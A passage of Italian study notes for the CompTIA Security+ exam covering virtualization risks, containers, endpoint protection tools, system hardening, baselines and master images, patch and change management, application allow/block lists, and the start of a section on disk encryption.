Cap 5 mostra che il perimetro si e' frammentato: oggi devi proteggere host fisici, VM, container, dati a riposo/in transito/in uso, workload cloud SaaS/PaaS/IaaS, smartphone BYOD, sensori IoT, impianti SCADA industriali. Sette superfici, sette insiemi di controlli diversi.\nSUPERFICI DI ATTACCO — Cap 5 Fisico VM / Container Cloud Mobile + IoT -------- -------------- ----- ------------ Host Hypervisor SaaS BYOD / COPE TPM/UEFI VM Escape PaaS MDM / UEM FDE/SED VM Sprawl IaaS Jailbreak HSM Container escape CASB Embedded OS Patch Snapshot SWG SCADA/ICS Decommission Replication IaC/SDN Air-gap Pattern ricorrente dell'esame:\nVirtualizzazione: VM Escape (attacco) vs VM Sprawl (problema gestione). Non confonderli. Cloud: il Shared Responsibility Model decide chi e' responsabile di cosa in SaaS/PaaS/IaaS. Exam keyword: \u0026quot;who is responsible for...\u0026quot;. CASB vs SWG: CASB tra utente e cloud aziendale; SWG tra utente e internet generico. Mobile: chi possiede il dispositivo = BYOD (utente) / COPE (azienda) / CYOD (sceglie utente, paga azienda). Trappola classica. ICS/SCADA: CIA triad invertita — Availability prima di tutto. Un impianto fermo e' piu' pericoloso di dati esposti. Dati: tre stati (at rest, in transit, in use). I controlli cambiano per ogni stato. Virtualization # mindmap root((Virtualization)) Hypervisor e Host Type 1 bare-metal Type 2 hosted Host fisico Guest VM Scalability vs Elasticity Scalability manuale Elasticity automatica VDI e Thin Client Desktop su server Zero data on device Containerization Kernel condiviso Docker Piu leggero di VM Rischi VM Escape Patch hypervisor VM Sprawl Change management Resource Reuse Memory overcommit Resilienza Replication altro server Snapshot stesso server La virtualizzazione permette di ospitare uno o piu' sistemi virtuali su un singolo sistema fisico. Con le tecnologie attuali e' possibile virtualizzare un'intera rete su un solo host fisico. Hypervisor # Software specializzato che crea, avvia e gestisce le VM. Esempi: VMware, Microsoft Hyper-V, Oracle VirtualBox, UTM (su Apple Silicon). L'hypervisor e' il motore di tutto.\nHost # La macchina fisica che esegue l'hypervisor. Richiede risorse superiori a un sistema normale: processori multi-core veloci, molta RAM, storage rapido e abbondante, schede di rete veloci. Il costo e' piu' alto di un PC normale, ma resta inferiore a comprare N macchine fisiche separate. Consuma meno elettricita', richiede meno raffreddamento e meno spazio fisico.\nNote I VPS (Virtual Private Server) su Hetzner, DigitalOcean ecc. sono guest che girano su un host fisico del provider. Tu usi la VM (guest), loro gestiscono l'hardware (host). Il Mustache Project su Hetzner funziona esattamente cosi'.\nGuest # I sistemi operativi che girano virtualizzati sull'host sono chiamati guest o guest machine. Ogni guest e' isolato dagli altri. La maggior parte degli hypervisor supporta Windows, Linux, sistemi a 32 e 64 bit.\nIl lab UTM e' l'esempio perfetto: host = Mac, guest = Ubuntu Server + Kali Linux. Quando fai ARP poisoning, i due guest comunicano come macchine fisiche distinte.\nCloud Scalability # Capacita' di ridimensionare le risorse di una VM: piu' CPU, RAM, disco, banda. E' un processo manuale che richiede l'intervento di un amministratore, spesso con reboot.\nCloud Elasticity # Capacita' di modificare automaticamente le risorse in base al carico, senza intervento umano e senza reboot. Il monitoring rileva il picco e scala in tempo reale. AWS Auto Scaling e GCP Autoscaler funzionano cosi'.\nCaratteristica Scalability Elasticity Trigger Manuale (admin) Automatico (monitoring) Reboot necessario Spesso si No Adattamento al carico No Si, in tempo reale Esempi Aggiungere RAM a una VM AWS Auto Scaling Tip Esame Security+: la parola chiave e' automatico vs manuale. Elasticity = automatico, no reboot. Scalability = manuale, spesso richiede reboot.\nROI della virtualizzazione # Da' il miglior ritorno sull'investimento quando ci sono molti server sottoutilizzati. Esempio Gibson: 9 server fisici ognuno al 20% di utilizzo si consolidano come VM su 2-3 server fisici. Si risparmia su hardware, elettricita', raffreddamento, spazio nel rack.\nThin Clients and Virtual Desktop Infrastructure # Un thin client e' un computer con il minimo delle risorse per avviarsi e connettersi a un server. Ha tastiera, mouse, schermo e poco piu'. Il server (on-site o cloud) fa tutto il lavoro pesante e supporta piu' thin client in parallelo.\nVDI (Virtual Desktop Infrastructure) porta questo concetto un passo avanti: il desktop OS completo dell'utente gira su un server, non sulla macchina fisica. L'utente vede e interagisce con il suo desktop, ma tutta la computazione avviene sul server. Si puo' accedere via browser, app o dispositivo mobile, con VPN per l'accesso remoto.\nEsempio VDI vs TeamViewer / VNC: l'esperienza e' identica — vedi uno schermo remoto, i tuoi clic e la tastiera viaggiano verso il server, lui elabora e ti rimanda i pixel. La differenza e' cosa c'e' dall'altra parte: con TeamViewer controlli una macchina fisica che esiste da qualche parte. Con VDI controlli una macchina virtuale che vive sul server — nessun hardware dedicato, nessun computer fisico. Stacchi la VDI e il desktop resta sospeso sul server, pronto alla prossima connessione.\nTeamViewer VDI Macchina remota Fisica Virtuale (sul server) Dove stanno i dati Sulla macchina remota Sul server centrale — zero data on device Gestione Per macchina, separata Centralizzata — patchi un template, si propaga a tutti Caso d'uso Accesso/supporto remoto Desktop aziendale scalabile e sicuro Zero data on device e' il vantaggio di sicurezza principale di VDI: se perdi o ti rubano il laptop thin client, non ci sono dati da esfiltare. Rilevante per DLP e ambienti ad alta compliance.\nContainerization # La containerizzazione e' una forma di virtualizzazione che esegue servizi o applicazioni in container isolati. Docker e' l'esempio piu' noto.\nLa differenza critica rispetto alle VM classiche: i container non includono un SO completo. Condividono il kernel dell'host. Ogni container ha il suo filesystem isolato, ma gira direttamente sul kernel host. Questo li rende molto piu' leggeri e veloci da avviare rispetto a una VM.\nVantaggi: usa meno risorse rispetto a un hypervisor tradizionale, piu' efficiente, gli ISP lo usano per isolare i servizi dei clienti.\nVincolo importante: i container devono usare lo stesso OS dell'host. Se l'host e' Linux, tutti i container girano Linux. Non puoi mescolare.\nNote OS (Operating System): software che fa da intermediario tra hardware e applicazioni. Gestisce CPU, RAM, disco, rete. Il kernel e' il cuore dell'OS — il pezzo che parla direttamente con l'hardware. Esempi: Linux, Windows, macOS. Quando Gibson dice \u0026quot;i container condividono il kernel dell'host\u0026quot;, intende che condividono proprio questo strato basso.\nFilesystem: il sistema che organizza e struttura i file su disco. Definisce come i dati vengono scritti, letti, nominati e organizzati in cartelle. Esempi: ext4 (Linux), NTFS (Windows), APFS (macOS). Ogni container ha il proprio filesystem isolato (vede solo i suoi file), ma usa il kernel dell'host per operarci sopra. E' come avere cassetti separati nella stessa cassettiera.\nVM (Hypervisor) Container SO per istanza Completo (kernel proprio) No (kernel condiviso) Isolamento Forte Buono ma meno completo Peso / startup Pesante, lento Leggero, veloce Esempio UTM con Ubuntu Docker Vincolo OS No Si, stesso OS dell'host Docker non e' la \u0026quot;naturale evoluzione\u0026quot; di una VM. Virtualizzano livelli diversi dello stack: VM Container Virtualizza Hardware OS (namespace + cgroups) Kernel Proprio per ogni VM Condiviso con l'host Isolamento Forte — VM escape e' difficile Piu' leggero — container escape piu' probabile Avvio Minuti Millisecondi Dimensione GB MB Caso d'uso tipico Ambienti completamente separati Processi isolati sullo stesso OS VM Escape Protection # VM escape e' un attacco che permette a un attaccante di uscire da una VM guest e accedere al sistema host — cioe' all'hypervisor e a tutte le altre VM che ci girano sopra.\nIl dettaglio critico e' quello dei privilegi: l'hypervisor gira con privilegi elevati, equivalenti a quelli di amministratore. Un attacco VM escape riuscito non da' accesso solo all'host — da' controllo illimitato su host e su ogni singola VM guest. E' come bucare il soffitto del tuo appartamento e atterrare nel vano tecnico del grattacielo intero: da li' controlli riscaldamento, elettricita', ascensori — tutto.\nImportant VM escape e' uno degli attacchi piu' gravi in ambiente virtualizzato. Un singolo guest compromesso che riesce a fare escape compromette l'intero host e tutte le VM sorelle.\nDifesa: patch, patch, patch. Quando i vendor scoprono vulnerabilita' VM escape rilasciano patch. Vanno applicate il prima possibile sia sui server fisici che su quelli virtuali.\nTip Exam tip Gibson: \u0026quot;Keeping systems up to date with current patches is the best protection from VM escape attacks.\u0026quot;\nEsempio reale — Pwn2Own 2017: La chain di attacco dimostra perfettamente come funziona un VM escape in pratica.\n1. Bug nel motore JavaScript di Microsoft Edge ↓ accesso alla sandbox del browser 2. Exploit del kernel di Windows 10 ↓ controllo completo del guest OS 3. Bug di simulazione hardware in VMware ↓ salto a un\u0026#39;altra VM sullo stesso hypervisor Tre vulnerabilita' concatenate, tre vendor diversi (Microsoft Edge, Microsoft OS, VMware). Ognuna singolarmente non basta — insieme danno controllo su tutte le VM dell'hypervisor. VMware ha patchato prima che l'exploit fosse usato in produzione.\nVM Sprawl Avoidance # VM sprawl = proliferazione incontrollata di VM non gestite. Succede quando chiunque puo' creare VM senza seguire un processo formale: la VM viene creata, usata, dimenticata accesa. Risultato: server non patchati, vulnerabili, che consumano risorse senza che nessuno lo sappia.\nEsempio Gibson: Bart crea una VM per testare un'applicazione. Finito il test, la lascia accesa. Il reparto IT applica le patch a tutti i server conosciuti — ma la VM di Bart non e' nei registri, resta non patchata e vulnerabile.\nDoppio problema:\nSicurezza: VM non patchate = vettori di attacco attivi Risorse: ogni VM aggiunge carico sul server fisico. Troppe VM non autorizzate possono rallentare o far crashare il server Difesa: le stesse policy che governano i server fisici devono applicarsi alle VM — change management, inventario, approvazione prima della creazione.\nResource Reuse # Resource reuse e' un rischio di esposizione passiva: risorse fisiche condivise tra VM diverse possono contenere dati residui del precedente utente.\nRAM — memory overcommit L'hypervisor puo' allocare piu' RAM virtuale di quanta ce ne sia fisicamente. Esempio:\nHost fisico: 4 GB RAM VM1: allocati 2 GB ─┐ VM2: allocati 2 GB ├─ totale allocato = 6 GB \u0026gt; 4 GB fisici VM3: allocati 2 GB ─┘ Funziona perche' non tutte le VM usano tutta la RAM allocata simultaneamente. L'hypervisor sposta i blocchi di memoria fisica tra le VM dinamicamente.\nIl rischio: quando una VM libera un blocco di memoria, quel blocco puo' essere riassegnato a un'altra VM. Se l'hypervisor ha un bug e non azzera il blocco prima della riassegnazione, la nuova VM potrebbe leggere i dati della precedente.\nVM1 scrive in blocco X: \u0026#34;password=admin123\u0026#34; VM1 libera blocco X Hypervisor (bug) → assegna blocco X a VM2 senza azzerarlo VM2 legge blocco X → trova \u0026#34;password=admin123\u0026#34; Storage cloud Stesso rischio su disco: quando un cliente smette di usare una VM, lo storage fisico non viene necessariamente azzerato prima di essere riassegnato a un altro cliente. Nel cloud non hai accesso all'hardware — non puoi verificare che sia stato pulito.\nAnalogia: affitti una cassaforte in banca, la restituisci, il prossimo inquilino potrebbe trovare ancora i tuoi appunti dentro.\nDifesa: patch all'hypervisor per bug di memory management; contratti con il cloud provider con obblighi di secure erasure.\nWarning Resource reuse non e' un attacco attivo — e' un rischio di esposizione passiva. I dati rimangono leggibili per mancata cancellazione sicura delle risorse condivise, non per azione diretta di un attaccante.\nReplication # Le VM sono semplicemente file. File complessi, ma pur sempre file. Questo le rende facili da replicare: copi i file da un server fisico a un altro e hai un backup funzionante.\nSe la VM originale si danneggia, ripristini i file replicati. Il tempo di ripristino si misura in minuti — contro le ore necessarie per ricostruire un server fisico da zero.\nReplication Snapshot Dove vive la copia Server fisico diverso Stesso server Protegge da crash hardware Si No Peso Copia completa (pesante) Solo delta (leggero) Analogia git push su GitHub git commit in locale Snapshots # Uno snapshot e' una fotografia della VM in un momento preciso. L'hypervisor registra tutte le modifiche successive — se qualcosa va storto, puoi tornare esattamente allo stato in cui era la VM quando hai scattato la foto.\nGli amministratori fanno snapshot prima di operazioni rischiose: applicare patch, testare security control, installare nuove applicazioni. Se l'operazione causa problemi, rollback in pochi secondi a uno stato noto e funzionante. Quando scatti uno snapshot, l'hypervisor congela lo stato e da quel momento in poi tutte le scritture successive vanno in un file delta separato. Se torni indietro, applichi il rollback del delta. In questo senso e' \u0026quot;incrementale dopo il punto di snapshot\u0026quot;.\nTip Snapshot = rete di sicurezza prima di toccare qualcosa. Replication = copia di emergenza su un altro server. Usi entrambi per scopi diversi — non sono alternativi.\nImplementing Secure Systems # mindmap root((Secure Systems)) Endpoint Security Antivirus signature EDR behavioral XDR multi-layer HIPS block attivo Hardening Disabilita servizi Rimuovi software inutile Cambia default password Disk encryption Config Management Baseline sicura Master image Integrity measurements Patch management Change management Application Control Allow list blocca tutto Block list consente tutto Quarantena casi grigi Hardware Sicurezza TPM FDE Secure Boot Remote Attestation Endorsement Key HSM removibile KMS centralizzato Boot Integrity UEFI Secure Boot Measured Boot PCR hash chain Decommissioning Data wiping Legacy vs EOL Compensating controls I sistemi sicuri devono essere sicuri sia al momento del deployment che durante tutto il ciclo di vita. In questo contesto, \u0026quot;sistema\u0026quot; = qualsiasi host: server, workstation, laptop, dispositivo di rete, mobile.\nEndpoint Security Software # Un endpoint e' il dispositivo che sta all'estremita' della rete — il punto finale dove il traffico arriva o parte. Non un router o uno switch (che spostano traffico), ma il dispositivo che lo usa: laptop, server, VM, smartphone, IoT. Il nome viene da \u0026quot;end point\u0026quot; = punto terminale della comunicazione di rete.\nGli endpoint contengono dati sensibili, accedono a risorse critiche, viaggiano e si connettono a reti diverse — sono i bersagli piu' esposti. Quattro categorie principali di protezione:\nAntivirus: scansiona l'endpoint alla ricerca di virus, worm, trojan e codice malevolo noto. Opera per signature: calcola l'hash di ogni file e lo confronta con un database di hash di malware noti (le \u0026quot;definizioni\u0026quot;). Scansiona anche i byte pattern interni al file per rilevare varianti che cambiano l'hash ma mantengono il codice malevolo. Limite: un malware zero-day non ha firma nel database — passa invisibile. Per questo esiste EDR.\nEDR — Endpoint Detection and Response: gira direttamente sul dispositivo e monitora in tempo reale processi, file, connessioni di rete e chiamate al kernel. Usa behavioral analysis — non cerca solo signature, ma comportamenti anomali. Esempio concreto: un PDF malevolo viene aperto. L'EDR vede che Adobe Reader sta iniettando codice in powershell.exe e aprendo una connessione verso un IP esterno — comportamento impossibile per un PDF legittimo. Blocca il processo prima del danno. Un antivirus classico non lo avrebbe rilevato: zero-day, nessuna firma disponibile.\nXDR — Extended Detection and Response: evoluzione dell'EDR che va oltre il singolo endpoint. Include dispositivi di rete, infrastruttura cloud, IoT — visione completa dell'intero ambiente IT. Rileva attacchi che attraversano piu' livelli (es: compromissione endpoint → lateral movement sulla rete → esfiltrazione via cloud).\nHIPS — Host Intrusion Prevention System: applica il concetto di IPS al singolo host. Usa behavior analysis, file integrity monitoring e application control per prevenire accessi non autorizzati o manomissioni. Blocca attivamente, non solo rileva.\nTool Dove opera Come rileva Risposta Antivirus Endpoint Signature (noti) Automatica EDR Endpoint Behavioral analysis Blocco + alert XDR Endpoint + rete + cloud Correlazione multi-layer Blocco + investigation HIPS Singolo host Behavior + file integrity Blocco attivo Endpoint vs EDR — ruoli distinti:\nEndpoint = il dispositivo (sostantivo) — la VM, il laptop, il server EDR = il software che gira sull'endpoint per monitorarlo (strumento) Host vs Endpoint: stessa cosa, lente diversa.\nHost = termine di rete, qualsiasi dispositivo con IP (un router e' un host). Endpoint = termine di sicurezza, il dispositivo finale dove i dati arrivano o partono e che contiene dati sensibili. Un router non e' un endpoint. Ogni endpoint e' un host, non ogni host e' un endpoint. HIPS vs EDR:\nHIPS EDR Approccio Rule-based (regole predefinite) Behavioral analysis (ML, anomalie) Focus Prevenire accessi non autorizzati Rilevare, investigare, rispondere Risposta Blocca in base a regole fisse Blocca + registra + forensics Tecnologia Piu' vecchia, statica Moderna, adattiva Analogia Firewall del singolo host Telecamera + sistema d'allarme HIPS dice \u0026quot;questa azione e' nella lista dei vietati, blocco\u0026quot;. EDR dice \u0026quot;questo comportamento e' anomalo, indago, blocco, e registro tutto per l'analisi post-incidente\u0026quot;.\nHardening Workstations and Servers # Hardening guides\nL'installazione di default non e' mai sicura. Il primo passo e' trovare una guida di hardening per quel sistema:\nManufacturer — il vendor pubblica spesso le proprie raccomandazioni di hardening Third-party — CIS (Center for Internet Security) pubblica CIS Benchmarks per centinaia di OS e applicazioni, standard di settore Se non esiste una guida ufficiale: community e forum tecnici Hardening = rendere un OS o un'applicazione piu' sicuri rispetto alla configurazione di default. Ogni sistema appena installato ha servizi attivi, porte aperte, software preinstallato che non servono — ogni elemento inutile e' superficie di attacco in piu'.\nRegola base: un sistema deve avere solo le applicazioni, i servizi e i protocolli necessari al suo scopo. Se FTP non serve, non gira. Se non gira, non e' attaccabile. Se una porta e' chiusa, il relativo servizio non e' raggiungibile.\nAzioni concrete di hardening:\nDisabilitare servizi inutili — riduce le porte aperte e i vettori di attacco Rimuovere software non necessario — il software ha bug e vulnerabilita'. Se non lo usi, rimuoverlo elimina quelle vulnerabilita' senza aspettare una patch Modificare il Registry (Windows) — esempio tipico: il logging di PowerShell non e' attivo di default. Gli attaccanti usano PowerShell spesso proprio perche' non lascia tracce. Gli admin lo abilitano come parte dell'hardening Disk encryption — sempre piu' comune come parte del processo standard Cambiare le password di default — alcuni sistemi e dispositivi escono dalla fabbrica con password pubblicate nella documentazione del vendor. Vanno cambiate prima di connettere il sistema alla rete Tip Exam tip: hardening non e' solo \u0026quot;applicare patch\u0026quot;. Rimuovere software non necessario elimina le vulnerabilita' invece di rattopparle. E' una difesa strutturale, non reattiva.\nHardening Network Infrastructure # Switch, router, firewall e altri dispositivi di rete hanno caratteristiche di hardening diverse da workstation e server.\nEmbedded OS — non e' Windows o Linux\nQuesti dispositivi girano su un sistema operativo proprietario embedded, creato dal vendor specificamente per quel dispositivo. Conseguenze dirette:\nLe patch vengono solo dal manufacturer — nessun Windows Update, nessun apt. Se Cisco rilascia un aggiornamento per un router Cisco, solo Cisco ha quella patch. Gli aggiornamenti sono rari — il software e' stabile e purpose-built, non si aggiorna spesso. Proprio per questo, quando il manufacturer rilascia una patch di sicurezza per un dispositivo di rete, e' un evento importante — va valutata e applicata. Azioni di hardening standard:\nCambiare le credenziali di default — ogni dispositivo di rete esce dalla fabbrica con username/password documentati pubblicamente (es. admin/admin). Vanno cambiate prima della messa in produzione. Configurare autenticazione — locale sul dispositivo, oppure centralizzata su un authentication server (RADIUS, TACACS+) Verificare patch disponibili — controllare periodicamente il sito del manufacturer Warning Le credenziali di default sui dispositivi di rete sono una delle cause piu' comuni di breach. Un router con admin/admin raggiungibile dall'esterno e' una porta aperta.\nConfiguration Enforcement # Le pratiche di configuration management aiutano le organizzazioni a deployare sistemi con configurazioni sicure e a fare in modo che quelle configurazioni rimangano tali nel tempo. Non basta configurare bene al deployment — bisogna far rispettare che la configurazione non cambi senza autorizzazione.\nGli amministratori usano due strumenti principali insieme al configuration management:\nBaselines — la configurazione sicura di riferimento (vedi sezione successiva) Imaging — deployare sistemi da un'immagine master gia' configurata e approvata Il change management (vedi sezione dedicata) complementa il configuration management: definisce il processo formale e autorizzato per modificare una configurazione nel corso della vita del sistema. Tutto quello che cambia fuori dal processo di change management e' drift non autorizzato.\nFlowchart e diagrammi: molte organizzazioni usano diagrammi per documentare i processi di configuration management. I flowchart in particolare servono a documentare il processo decisionale per modificare una configurazione — chi deve approvare, quali test fare, come verificare che la modifica non rompa nulla.\nNaming convention: le grandi organizzazioni usano convenzioni di naming standard per identificare le configurazioni. La scelta dello standard specifico non e' critica — cio' che conta e' sceglierne uno e seguirlo in modo coerente. Una struttura tipica:\n[tipo dispositivo]_[reparto o location]_[versione] Desktop_Sales_3.0 → immagine per desktop, reparto Sales, terza versione major Server_Finance_1.2 → immagine per server, reparto Finance, versione 1.2 Con una naming convention consistente sai esattamente quale versione della configurazione standard e' installata su ogni macchina — equivale al versioning del software.\nNote Analogia da dev: e' come avere un docker-compose.yml in repo che definisce l'ambiente esatto. Tutti devono usare quello. Se qualcuno lo modifica localmente, la CI/CD lo rileva. Configuration enforcement fa la stessa cosa sui sistemi aziendali — strumenti come Ansible, Puppet, Chef o Group Policy applicano la configurazione e rilevano le deviazioni.\nSecure Baseline and Integrity Measurements # Una baseline e' un punto di partenza noto e sicuro. E' il blueprint del sistema: come deve essere configurato, cosa deve girare, cosa non deve girare. Il concetto si applica a tre momenti distinti del ciclo di vita di un sistema:\nEstablish — gli amministratori definiscono la configurazione iniziale sicura usando strumenti specifici per deployare i sistemi in modo consistente. Deploy — la baseline viene applicata durante il build del sistema, oppure distribuita a sistemi esistenti via Group Policy o altri configuration management tool. Maintain — l'organizzazione cambia, cambia il panorama delle minacce. Le baseline vanno aggiornate e ridistribuite seguendo le policy di change management. Il beneficio principale delle secure baseline e' che migliorano la security posture complessiva dell'organizzazione. Configurazioni deboli sono uno dei problemi di sicurezza piu' comuni — le baseline lo eliminano alla radice, perche' definiscono il minimo garantito su ogni sistema.\nNote Baseline = blueprint del sistema. Come un docker-compose.yml o un ansible playbook versionato: tutti i sistemi partono da li', e qualsiasi deviazione e' rilevabile.\nDopo il deploy, gli amministratori usano gli integrity measurements per verificare che il sistema non si sia discostato dalla baseline. Se un file di configurazione cambia, se un servizio viene abilitato fuori dal processo di change management, l'integrity check lo rileva.\nUsing Master Images for Baseline Configurations # Il metodo piu' comune per deployare sistemi in modo coerente e' partire da una master image: uno snapshot di un sistema sorgente gia' configurato e testato, che viene poi distribuito su piu' macchine.\nLa master image e' una copia completa del sistema sorgente catturata in un momento preciso — non uno snapshot incrementale. Se si migliorano le configurazioni del sistema sorgente e si ricattura l'immagine, la maggior parte dei tool produce una nuova immagine completa. Una volta deployata, il personale non deve seguire checklist complesse: il sistema arriva gia' configurato con tutte le impostazioni di sicurezza incluse.\nIl processo in tre passaggi:\nStep 1 — Preparare il sistema sorgente Si parte da un sistema vuoto. Si installa e configura il SO, si installano le applicazioni necessarie, si applicano le impostazioni di sicurezza (hardening). Si eseguono test estensivi prima di andare al passo successivo.\nStep 2 — Catturare l'immagine L'immagine catturata diventa la master image: un semplice file archiviato su un image server (server di rete dedicato alla distribuzione delle immagini) o copiato su media esterno (DVD, USB). Tool comuni: Symantec Ghost, Microsoft WDS (Windows Deployment Services), strumenti gratuiti inclusi in Windows Server.\nStep 3 — Distribuire l'immagine Le macchine target si avviano dalla rete (PXE boot), si connettono all'image server e scaricano l'immagine automaticamente. Questo permette di deployare decine di macchine in parallelo senza toccarle fisicamente. Ogni macchina riceve esattamente la stessa configurazione del sistema sorgente. L'image server e' anche il punto da cui si fa rebuild di una singola macchina guasta, senza media fisici.\nIl tempo investito nella preparazione scala: poche ore per un'aula, settimane o mesi per migliaia di sistemi aziendali. Ma una volta creata, il deployment e' rapido e richiede minimo sforzo amministrativo.\nDue benefici principali:\nBeneficio Dettaglio Secure starting point La configurazione di sicurezza e' gia' dentro l'immagine. Chi deploya non deve ricordarsi checklist o impostazioni — arriva tutto preconfigurato. Solo settings specifici (es. nome computer) vengono configurati dopo il deploy. Riduzione dei costi I sistemisti imparano un solo ambiente, non N ambienti diversi. Meno tempo a capire la configurazione, piu' tempo a risolvere il problema reale. Questo si chiama ridurre il TCO — Total Cost of Ownership. L'imaging non si limita ai desktop: si puo' fare su qualsiasi sistema, inclusi i server. Un'organizzazione con 50 database server puo' usare le immagini per rebuild rapidi nel disaster recovery — molto piu' veloce che ricostruire da zero. Se le immagini sono mantenute aggiornate, il server ripristinato parte gia' in uno stato sicuro.\nImportant Master image = secure starting point garantito. Gli amministratori usano integrity measurements per rilevare quando un sistema si discosta dalla baseline — ovvero quando qualcosa e' cambiato rispetto all'immagine di partenza.\nTip Exam tip: la master image fornisce un secure starting point. Viene spesso creata con template o altri tool per costruire secure baseline. Gli integrity measurements rilevano le deviazioni dalla baseline nel tempo.\nPatching and Patch Management # Il software non e' sicuro. I SO, le applicazioni e il firmware contengono milioni di righe di codice — il testing pre-release non trova tutto. Le aziende fanno del loro meglio prima del rilascio, poi rilasciano patch quando i problemi emergono. Gli amministratori devono applicarle per tenere i sistemi protetti dalle vulnerabilita' note.\nApplicare le patch e' uno dei modi piu' efficaci per ridurre le vulnerabilita': protegge da cio' che e' gia' noto e documentato. Le organizzazioni piu' piccole abilitano gli auto-update — i sistemi controllano, scaricano e applicano gli aggiornamenti autonomamente.\nIl patch management e' la gestione strutturata di questo processo. Non e' solo \u0026quot;applicare patch\u0026quot; — e' un ciclo completo:\nIdentify → Download → Test → Deploy → Verify Test in sandbox: prima di distribuire una patch in produzione, gli amministratori la testano in un ambiente isolato, tipicamente una VM. Una patch puo' rompere un'applicazione o causare conflitti — meglio scoprirlo in sandbox.\nDeploy automatizzato: le patch non si applicano a mano macchina per macchina. Si usano tool di systems management come Microsoft Configuration Manager (SCCM) che esaminano gli endpoint, determinano quali patch mancano e le distribuiscono in modo controllato.\nVerifica sistematica: dopo il deploy, gli stessi tool interrogano periodicamente i sistemi e recuperano la lista delle patch installate. La confrontano con la lista di quelle attese e generano report sulle discrepanze. L'amministratore sa esattamente quali macchine sono aggiornate e quali no.\nIntegrazione con NAC: in alcune reti gli amministratori combinano il patch management con tecnologie NAC (Network Access Control). I sistemi non patchati vengono isolati in una rete di quarantena finche' non si aggiornano. La macchina non patchata non accede alla rete principale — incentivo forte a restare aggiornati.\nUn patch management debole o assente lascia vulnerabilita' prevenibili aperte agli attaccanti: nel SO, nelle applicazioni, nel firmware.\nImportant Patch management = identificare, scaricare, testare, deployare, verificare. Il ciclo completo. Non basta applicare — bisogna verificare che sia stato applicato ovunque.\nTip Exam tip: patch management protegge dalle vulnerabilita' note. Il change management definisce il processo e la struttura contabile per gestire modifiche e aggiornamenti — obiettivo: ridurre i rischi di outage inattesi e documentare ogni cambiamento. Sono complementari, non la stessa cosa.\nChange Management # I peggiori nemici di molte reti sono stati gli amministratori senza vincoli. Un admin ben intenzionato fa una modifica apparentemente piccola per risolvere un problema — e causa un disastro da qualche altra parte.\nEsempio Gibson: un admin risolve un problema di stampante cambiandone l'IP. Funziona. Ma il nuovo IP era gia' assegnato a un server DNS — conflitto di indirizzi, il DNS smette di rispondere, tutta la rete va giu'. Nessuno sa cosa e' successo finche' un altro admin non trova il problema per caso.\nE' esattamente come fare un deploy di codice senza test: la modifica sembra giusta localmente, ma rompe qualcosa di inatteso in produzione. Il change management e' il processo formale che evita questi disastri.\nIl change management definisce il processo per qualsiasi tipo di modifica o aggiornamento ai sistemi IT — configurazioni, applicazioni, patch, dispositivi di rete. Ha due obiettivi:\nEvitare outage non pianificati o failure di sicurezza causati da modifiche mal gestite Fornire una accounting structure — un sistema di tracciamento e documentazione per ogni cambiamento Con un processo di change management attivo, gli amministratori non fanno modifiche appena identificano un'esigenza. Passano prima dalla richiesta formale, che viene esaminata e approvata. Il processo:\nModifiche semplici vengono approvate rapidamente Richieste piu' complesse vengono esaminate da un change review board (gruppo di esperti di aree diverse) che puo' approvare, modificare o rifiutare I sistemi di change management automatizzati creano accounting log per ogni richiesta: dall'apertura all'implementazione, tutto e' tracciato Questa documentazione e' fondamentale per il disaster recovery: se un sistema modificato smette di funzionare, il change management dice esattamente cosa e' cambiato e come tornare allo stato precedente.\nIl change management non vale solo per i server. Si applica a qualsiasi dispositivo sulla rete: firewall, proxy, sistemi DLP, MDM, router, switch.\nTip Exam tip: patch management e change management sono complementari. Il patch management gestisce gli aggiornamenti del software. Il change management definisce il processo e l'accounting structure per qualsiasi modifica — incluse le patch. Una patch che bypassa il change management e' un rischio, anche se tecnicamente corretta.\nApplication Allow and Block Lists # Due strumenti complementari per controllare quale software puo' girare sugli endpoint (workstation, server, mobile):\nAllow list (whitelist): lista delle applicazioni autorizzate. Tutto cio' che non e' in lista viene bloccato, senza eccezioni. E' la modalita' piu' restrittiva: il default e' \u0026quot;nega tutto, permetti solo cio' che ho approvato esplicitamente\u0026quot;.\nBlock list (blacklist / deny list): lista delle applicazioni vietate. Tutto il resto e' consentito. Molto piu' permissiva: il default e' \u0026quot;consenti tutto, blocca solo cio' che ho vietato esplicitamente\u0026quot;.\nAllow list Block list Default Blocca tutto Consente tutto Approccio Opt-in (autorizzazione esplicita) Opt-out (divieto esplicito) Restrittivita' Massima Minima Esempio d'uso Workstation aziendali (solo sw approvato) Bloccare un gioco specifico App sconosciuta (es. Photoshop non in lista) Bloccata — non e' nell'elenco approvati Permessa — non e' nell'elenco vietati La logica e' inversa: la block list parte dal \u0026quot;si'\u0026quot; e aggiunge i \u0026quot;no\u0026quot;. La allow list parte dal \u0026quot;no\u0026quot; e aggiunge i \u0026quot;si'\u0026quot;. Un malware sconosciuto passa sempre con la block list (non lo conosce). Viene bloccato sempre con la allow list (non e' negli approvati).\nPunto critico — dove agiscono: allow list e block list controllano l'esecuzione, non l'installazione. Il malware puo' essere copiato sul disco (via USB, email, download) senza che nessuna lista lo intercetti. Il blocco scatta nel momento in cui qualcosa tenta di avviarlo. L'antivirus scansiona i file cercando firme note. L'allow list blocca l'esecuzione di qualsiasi cosa non sia approvata — firma nota o meno. Contro malware sconosciuto: AV fallisce, allow list tiene.\nLe applicazioni MDM (Mobile Device Management) usano entrambe per gestire le app sui dispositivi mobili.\nCosa vede l'utente quando viene bloccato: i messaggi sono spesso criptici — un errore di permessi o un fallimento generico. I log dell'applicazione contengono invece i dettagli esatti del blocco.\nQuarantena: alcuni sistemi supportano la quarantena per le app che non rispettano le liste. Se un utente tenta di installare un'app non presente nella allow list (ne' nella blacklist, ne' nella whitelist — semplicemente sconosciuta), il sistema la mette in un'area protetta. L'app non gira, ma viene conservata perche' gli amministratori possano esaminarla e decidere: aggiungerla alla whitelist, alla blacklist, o eliminarla. E' il meccanismo per gestire i casi grigi senza perdere le prove.\nTip Exam tip: allow list = blocca tutto tranne la lista. Block list = consente tutto tranne la lista. La quarantena e' per i casi grigi — l'app non gira ma non viene eliminata, cosi' l'admin puo' analizzarla.\nDisk Encryption # La Full Disk Encryption (FDE) cifra l'intero disco. Se qualcuno ruba il disco fisico o la macchina, senza le credenziali non vede nulla.\nDue approcci:\nSoftware FDE: la cifratura e' gestita dal sistema operativo o da un'applicazione. Il SO intercetta ogni operazione di lettura/scrittura e cifra/decifra i dati in tempo reale usando la CPU.\nBitLocker (Windows) — integrato in Windows Pro/Enterprise FileVault (macOS) — integrato in macOS VeraCrypt (open source) — cifra partizioni o interi dispositivi, cross-platform Hardware FDE 